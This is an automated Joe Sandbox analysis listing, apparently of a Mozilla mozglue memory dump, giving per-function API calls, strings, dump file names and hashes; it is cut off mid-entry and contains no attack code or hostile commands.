Function 6CA6D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA3EB57,?,?,?,?,?,?,?,?,?), ref: 6CA6D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA3EB57,?), ref: 6CA6D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA3EB57,?), ref: 6CA6D673
free.MOZGLUE(?), ref: 6CA6D888

Strings

|Enabled, xrefs: 6CA6D81E

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: fa9551c2d707ac3d367fe3778d008ef08fc6ac0e906c7196b649e75a70ea6253
Instruction ID: aae6c1933db362349a06c60d1e3d31cfb3967c0be1af71488d7b65f827dc650d
Opcode Fuzzy Hash: fa9551c2d707ac3d367fe3778d008ef08fc6ac0e906c7196b649e75a70ea6253
Instruction Fuzzy Hash: 0AA12974E003058FDB15CF6AC4947EEBBF1AF49358F28805CD895ABB41D734A889CBA1

Function 6CA6F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA6F480

Part of subcall function 6CA3F100: LoadLibraryW.KERNEL32(shell32,?,6CAAD020), ref: 6CA3F122
Part of subcall function 6CA3F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA3F132

CloseHandle.KERNEL32(00000000), ref: 6CA6F555

Part of subcall function 6CA414B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA41248,6CA41248,?), ref: 6CA414C9
Part of subcall function 6CA414B0: memcpy.VCRUNTIME140(?,6CA41248,00000000,?,6CA41248,?), ref: 6CA414EF

Part of subcall function 6CA3EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA3EEE3

CreateFileW.KERNEL32 ref: 6CA6F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA6F523

Strings

\oleacc.dll, xrefs: 6CA6F4CB

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 386acb587725c4c9b2b8264bec1beb51ababc537ed3496b0a0c9fe416083c1d4
Instruction ID: fd9db5d3ed76776299d9c9beb0e4e7583d296d3397db5cae99251a38170294d2
Opcode Fuzzy Hash: 386acb587725c4c9b2b8264bec1beb51ababc537ed3496b0a0c9fe416083c1d4
Instruction Fuzzy Hash: A841B3306087519FE724DF6ADD84B9AB7F4AF44318F504A1CF59583A60EB30D989CBA2

Function 6CA7E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA44A68), ref: 6CA7945E
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA79470
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA79482
Part of subcall function 6CA79420: __Init_thread_footer.LIBCMT ref: 6CA7949F

GetCurrentThreadId.KERNEL32 ref: 6CA7E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7E04F

Part of subcall function 6CA794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA794EE
Part of subcall function 6CA794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA79508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA7E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA7E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CA7E057

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 634112dfcedc03c136be34fedb0a15c2a013aade8f6bfb36f5afded1b75a7dc9
Instruction ID: 4f6e97b084c7ad268a6d5ce04fe9cf847f2d9bb07005ffe8f31fc3e246161eda
Opcode Fuzzy Hash: 634112dfcedc03c136be34fedb0a15c2a013aade8f6bfb36f5afded1b75a7dc9
Instruction Fuzzy Hash: 8721AF78B002098FDF149B64D958AEEB7B5BF45208F184025E90A97740DB31A98AC7B1

Function 6CA974A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CA97526
__Init_thread_footer.LIBCMT ref: 6CA97566
__Init_thread_footer.LIBCMT ref: 6CA97597

Strings

kernel32.dll, xrefs: 6CA97557
UnmapViewOfFile2, xrefs: 6CA97552

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 01b0543293f036c7715abdb22a50cfe366a3346b5731c2295dddbf196e50cdd0
Instruction ID: 0519246f098e495258ff03f8c2faf43df97d1200ff247b63e026600d86309c44
Opcode Fuzzy Hash: 01b0543293f036c7715abdb22a50cfe366a3346b5731c2295dddbf196e50cdd0
Instruction Fuzzy Hash: 5621FB397106029BCA188FA98D55E9933B5FB87324F1845ACD805D7F40C731ACC78579

Function 6CA9A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CABF770,-00000001,?,6CAAE330,?,6CA5BDF7), ref: 6CA9A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CA5BDF7), ref: 6CA9A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CA5BDF7), ref: 6CA9A7E4
LeaveCriticalSection.KERNEL32(6CABF770), ref: 6CA9A80A

Strings

accelerator.dll, xrefs: 6CA9A7BF

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 8a1996039a705ce8e4c93f3b1c3092de9a6980c883184135df525660607ae12c
Instruction ID: 51712e517b4af45357aa43cad192fc08fe915aafc99a5f9266d6992605691c03
Opcode Fuzzy Hash: 8a1996039a705ce8e4c93f3b1c3092de9a6980c883184135df525660607ae12c
Instruction Fuzzy Hash: C0017C79A103049F9B088F59D8CA95177F9FB89314708C0AAE8098B762DB71AC85CBA0

Function 6CA3F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CA3EE51,?), ref: 6CA3F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CA3F0C2

Strings

ole32, xrefs: 6CA3F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CA3F0DC
Could not find CoTaskMemFree, xrefs: 6CA3F0E3

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: abe96cb58db91ae2081c807b132c237d2008552ca90643418aaa2db5855ed848
Instruction ID: 415e7a596354d0df315befccd9318283266d462bcbc384baefbfea30164457b4
Opcode Fuzzy Hash: abe96cb58db91ae2081c807b132c237d2008552ca90643418aaa2db5855ed848
Instruction Fuzzy Hash: D3E0D8747557139F9F081A7AAC69A3637BC7B13109308D13DFA0AE1E20FA35D0818635

Function 6CA70080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CA47204), ref: 6CA70088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CA700A7
FreeLibrary.KERNEL32(?,6CA47204), ref: 6CA700BE

Strings

wintrust.dll, xrefs: 6CA70083
CryptCATAdminAcquireContext2, xrefs: 6CA700A1

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 0f5f3de6853635da6016cca4fa3e756f34ee346bc6090a3657735c17778f1a62
Instruction ID: bef8500553ab487528b4e6fcce4289ecbb28a8d24e15f2a1b7c02f93cade0fbf
Opcode Fuzzy Hash: 0f5f3de6853635da6016cca4fa3e756f34ee346bc6090a3657735c17778f1a62
Instruction Fuzzy Hash: 1CE01A7C2403029BEF186FA59C0C7013AF8B70B354F08C119E910C2671D7B5C0828B29

Function 6CA700D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CA47235), ref: 6CA700D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CA700F7
FreeLibrary.KERNEL32(?,6CA47235), ref: 6CA7010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CA700F1
wintrust.dll, xrefs: 6CA700D3

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: d2c4bbf94354da0f42804d8e1e0b2a5fb16aebde51c79162501891512ab703d2
Instruction ID: d6311b135fcf7b376475ffd9b372763c124d56106003720e59e77c170da414a7
Opcode Fuzzy Hash: d2c4bbf94354da0f42804d8e1e0b2a5fb16aebde51c79162501891512ab703d2
Instruction Fuzzy Hash: 81E01A7C3813079BEF185FA59D4D7213AF8B706244F18D019A90E81A70D7B180828B28

Function 6CA9C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA9C0E9), ref: 6CA9C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CA9C437
FreeLibrary.KERNEL32(?,6CA9C0E9), ref: 6CA9C44C

Strings

ntdll.dll, xrefs: 6CA9C413
NtQueryVirtualMemory, xrefs: 6CA9C431

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 0718b02f573aabf7f78b9cbf50ea35452ee39b191ee38b688bba4f4cdbe2ba31
Instruction ID: 0b4823a263ef27aa9a1fac987965ee245ffe65481815c3aff34e674a59e30880
Opcode Fuzzy Hash: 0718b02f573aabf7f78b9cbf50ea35452ee39b191ee38b688bba4f4cdbe2ba31
Instruction Fuzzy Hash: 62E0927C6013029BEB086FB59D4C7117BF8B746208F08C21AAA0992672EBB1C0428B68

Function 6CA975B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA9748B,?), ref: 6CA975B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CA975D7
FreeLibrary.KERNEL32(?,6CA9748B,?), ref: 6CA975EC

Strings

RtlNtStatusToDosError, xrefs: 6CA975D1
ntdll.dll, xrefs: 6CA975B3

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 09accaa6fea84ef5d3ced8f011aef6e332999deec59dfc32ffaec16415d9e136
Instruction ID: d7cc4eed5f832167ad57bc94df31d2ec9ffa48193da99d6e9943f18d1eb7d822
Opcode Fuzzy Hash: 09accaa6fea84ef5d3ced8f011aef6e332999deec59dfc32ffaec16415d9e136
Instruction Fuzzy Hash: 8BE09A7D600303ABEB085FA1DC887017AF8FB06214F18C1A9BD05E1670DBB180C38F28

Function 6CA97600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA97592), ref: 6CA97608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CA97627
FreeLibrary.KERNEL32(?,6CA97592), ref: 6CA9763C

Strings

NtUnmapViewOfSection, xrefs: 6CA97621
ntdll.dll, xrefs: 6CA97603

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: e46e9ed1cd1d31369d5c6f8648bf91111dfafce389be22ecdfb299d1dd20dc2d
Instruction ID: d8f1224a267c1dacb6e0044c37b209f2599110ef10dbd6c5507a0dcc68f430f5
Opcode Fuzzy Hash: e46e9ed1cd1d31369d5c6f8648bf91111dfafce389be22ecdfb299d1dd20dc2d
Instruction Fuzzy Hash: F0E09ABC6103029BDF085FA99C4C7417AB8F717259F08C159EE05E1A70E7B180828B2C

Function 6CA9BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CA9BE49), ref: 6CA9BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CA9BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CA9BE49), ref: 6CA9BF38
RtlReAllocateHeap.NTDLL ref: 6CA9BF83
RtlFreeHeap.NTDLL(6CA9BE49,00000000), ref: 6CA9BFA6

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: ffacec31ec3f4d01ab9435d1ac03355422e8e7de54b0d18b3d2f862e221e31db
Instruction ID: 595e5f6006a4e7079261faf647dbeeccfafff5fb1fa764157d5df9affc4ca7bc
Opcode Fuzzy Hash: ffacec31ec3f4d01ab9435d1ac03355422e8e7de54b0d18b3d2f862e221e31db
Instruction Fuzzy Hash: 7251B471B102158FE720CF69DD81B9AB3E6FF84314F298639D51A97B54D730F9468B80

Function 6CA88E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CA7B58D,?,?,?,?,?,?,?,6CAAD734,?,?,?,6CAAD734), ref: 6CA88E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA7B58D,?,?,?,?,?,?,?,6CAAD734,?,?,?,6CAAD734), ref: 6CA88EBF
free.MOZGLUE(?,?,?,?,6CA7B58D,?,?,?,?,?,?,?,6CAAD734,?,?,?), ref: 6CA88F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA7B58D,?,?,?,?,?,?,?,6CAAD734,?,?,?,6CAAD734), ref: 6CA88F46
free.MOZGLUE(?,?,?,?,6CA7B58D,?,?,?,?,?,?,?,6CAAD734,?,?,?), ref: 6CA88F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA7B58D,?,?,?,?,?,?,?,6CAAD734,?,?,?), ref: 6CA88F8F

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9b8a75ed889f2443e1ce58b3ca6ec38bae1f53a9a81e0d2e47080724b93901e3
Instruction ID: acf79d097564d43c29c30cabf021999b28421513c9bf924a6ab6cee5649933d0
Opcode Fuzzy Hash: 9b8a75ed889f2443e1ce58b3ca6ec38bae1f53a9a81e0d2e47080724b93901e3
Instruction Fuzzy Hash: 4951B7B1A022168FEB14CF58D88076E73B2FF45718F19452AD916AB740EB31FD45CB91

Function 6CA460E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA45FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA460F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CA45FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA46180
free.MOZGLUE(?,?,?,?,6CA45FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA46211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA45FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA46229
free.MOZGLUE(?,?,?,?,6CA45FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA4625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA45FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA46271

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 18a4e8cdb931e845bfa9c8f8114e3fefe9eb45a562a0d6cff68e8de32f7790dc
Instruction ID: b08090e10deddb711545025c2b8f36345502647bce3d913075ebbafae8790fc6
Opcode Fuzzy Hash: 18a4e8cdb931e845bfa9c8f8114e3fefe9eb45a562a0d6cff68e8de32f7790dc
Instruction Fuzzy Hash: DA519EB1A00206DFEB14CF68D8807AEB7B5EF49308F248539D516D7711E731AA99CB51

Function 6CA827E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CA82620,?,?,?,6CA760AA,6CA75FCB,6CA779A3), ref: 6CA8284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA82620,?,?,?,6CA760AA,6CA75FCB,6CA779A3), ref: 6CA8289A
free.MOZGLUE(?,?,?,6CA82620,?,?,?,6CA760AA,6CA75FCB,6CA779A3), ref: 6CA828F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA82620,?,?,?,6CA760AA,6CA75FCB,6CA779A3), ref: 6CA82910
free.MOZGLUE(00000001,?,?,6CA82620,?,?,?,6CA760AA,6CA75FCB,6CA779A3), ref: 6CA8293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CA82620,?,?,?,6CA760AA,6CA75FCB,6CA779A3), ref: 6CA8294E

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 3a8ba0f5a53c7941b531de04c102d32bd2511a33c598d17a7ee96830b93adabd
Instruction ID: be5c25b5c522e913748af7619442a1fc1cfc24d5d8ba31e3d793c3fa1339a958
Opcode Fuzzy Hash: 3a8ba0f5a53c7941b531de04c102d32bd2511a33c598d17a7ee96830b93adabd
Instruction Fuzzy Hash: 1E41C1B1A013068FEB14CFA8D88876A73F6EB45308F144639D966EB750E731E984CB91

Function 6CA3CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CABE784), ref: 6CA3CFF6
LeaveCriticalSection.KERNEL32(6CABE784), ref: 6CA3D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CA3D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CA3D139

Strings

MOZ_CRASH(), xrefs: 6CA3D187

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

